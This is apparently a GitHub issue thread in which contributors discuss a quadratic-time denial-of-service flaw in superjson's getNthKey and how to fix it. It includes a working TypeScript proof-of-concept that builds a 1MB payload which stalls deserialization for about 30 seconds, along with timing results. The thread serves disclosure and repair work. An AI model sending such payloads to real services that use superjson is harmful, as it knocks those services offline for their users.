DoS via getNthKey

[JeremyMoeglich]

A payload can be constructed where getNthKey is called many times each time iterating through a full user provided collection.
By providing a large collection and a large referentialEqualities array you could cause quadratic compute.
For a 1mb payload (a common webserver limit) this can block the event loop for 20 - 40 seconds

Opened to further discuss a fix as #344 introduces quite a bit of complexity to solve this.

[JeremyMoeglich]

I don't like the complexity either, but getNthKey requires lookup by index in the iteration order.
The reason I opted against using a plain array is that this order can change via setDeep and arrays don't allow quick insertion and deletion of elements

The custom datastructure enables log(n) insert, delete and get.

To me needing index based lookup into Sets and Maps feels weird anyway but eliminating that might be a larger change and I am not familiar with the full code

[JeremyMoeglich]

Actually I just found another issue that was present in the previous version, good thing the correct implementation actually enables a simpler solution for this issue too. I had made the assumption that the iteration order changes in setDeep were intended turns out they cause a bug.
This means the easy array based solution which maintains index in setDeep is actually possible

Here is the repro for the issue I used

import superjson from './dist/index.js';

// Create shared objects that will appear in both an array and a Set
const objA = { name: 'A' };
const objB = { name: 'B' };
const root = {
  master: [objA, objB],
  testSet: new Set([objA, objB])
};

const ser = superjson.serialize(root);
console.log("Serialized Meta:", JSON.stringify(ser.meta, null, 2));

const deser = superjson.deserialize(ser);
const setArr = Array.from(deser.testSet);
console.log("Result Set:", setArr);

if (setArr[0] !== deser.master[0] || setArr[1] !== deser.master[1]) {
  console.error("FAIL: Set elements do not match master references.");
  console.error("Expected:", deser.master);
  console.error("Got:", setArr);
} else {
  console.log("SUCCESS: Set elements match.");
}

Serialized Meta: {
"values": {
"testSet": [
"set"
]
},
"referentialEqualities": {
"master.0": [
"testSet.0"
],
"master.1": [
"testSet.1"
]
},
"v": 1
}
Result Set: [ { name: 'B' }, { name: 'B' } ]
FAIL: Set elements do not match master references.
Expected: [ { name: 'A' }, { name: 'B' } ]
Got: [ { name: 'B' }, { name: 'B' } ]

[JeremyMoeglich]

I'll have to make that change tomorrow though, it's quite late for me.

[Skn0tt]

Let's discuss the second issue in a separate issue.

If I understand correctly, you're worried about getNthKey performing more work than necessary because it's iterating over all keys time and again and not storing that work. I took a second look at your change, now with using the array instead of a custom avl tree the complexity seems more manageable.

Could you provide a testcase that leads to the DoS? The problem seems to stem from the fact that we traverse the value two times, instead of just once. I wonder if it's possible to apply referential equality and value transformations in one step instead of two, that way we're always traversing data structures with indexed access.

[JeremyMoeglich]

This is the reproduction I used originally:

import superjson from "superjson";

/**
 * In `src/accessDeep.ts`, `getNthKey` accesses Set/Map elements by index
 * using an O(N) scan. When superjson applies M referential equality patches
 * to a Set of size N, total complexity becomes O(N * M).
 *
 * By targeting indices [N-1, N-2, ..., N-M], each patch walks nearly the
 * entire Set. N=166,000 and M=55,000, is the worst payload I found
 * while staying under 1MB (a common size limit for web applications).
 * This takes about 30 seconds to execute on my machine.
 */

function generateAttackPayload(setSize: number, patchCount: number) {
	// Create 'setSize' empty arrays (each unique since [] !== []),
	// other values can be used too, but are less space efficient
	const jsonArray = Array.from({ length: setSize }, () => []);

	const refTargets: string[] = [];
	for (let i = 0; i < patchCount; i++) {
		refTargets.push(String(setSize - 1 - i));
	}

	return JSON.stringify({
		json: jsonArray,
		meta: {
			values: ["set"],
			referentialEqualities: {
				"0": refTargets,
			},
		},
	});
}

function runBenchmark(
	label: string,
	setSize: number,
	patchCount: number,
): number {
	const payload = generateAttackPayload(setSize, patchCount);
	const sizeKB = (Buffer.byteLength(payload, "utf8") / 1024).toFixed(2);
	const parsed = JSON.parse(payload);

	const start = performance.now();
	superjson.deserialize(parsed as any);
	const duration = performance.now() - start;

	console.log(`
[${label}]
  Elements (N)   : ${setSize.toLocaleString()}
  Patches (M)    : ${patchCount.toLocaleString()}
  Payload Size   : ${sizeKB} KB
  Execution Time : ${duration.toFixed(2)} ms
  --------------------------------------------------`);

	return duration;
}

// Baseline: Large Set with no patches (linear O(N))
runBenchmark("BASELINE: Normal Large Set", 166000, 0);

// Scaling: Double inputs should show ~4x time (quadratic O(N*M))
runBenchmark("SCALING: Small Attack", 20000, 5000);
runBenchmark("SCALING: Double Inputs", 40000, 10000);

// DoS: Optimized 1MB payload (~7.6 billion iterations)
runBenchmark("DOS: 1MB Optimized Payload", 166000, 55000);

// I measure these times on a Ryzen 7 5700X, Arch Linux
// NodeJS:
// baseline: 37.97 ms
// small attack: 439.44 ms
// double inputs: 1695.84 ms (3.85x)
// optimized: 30912.67 ms

// Bun:
// baseline: 28.13 ms
// small attack: 524.92 ms
// double inputs: 2063.38 ms (3.93x)
// optimized: 45527.36 ms

[Skn0tt]

@JeremyMoeglich please give #347 a review. It's an alternative fix that works by reversing our order of operations, and besides fixing the DOS it even allows deleting some code :)

Let me know what you think. We'd need to put some effort into making sure we don't regress before merging. If that fails, we can fall back to your approach.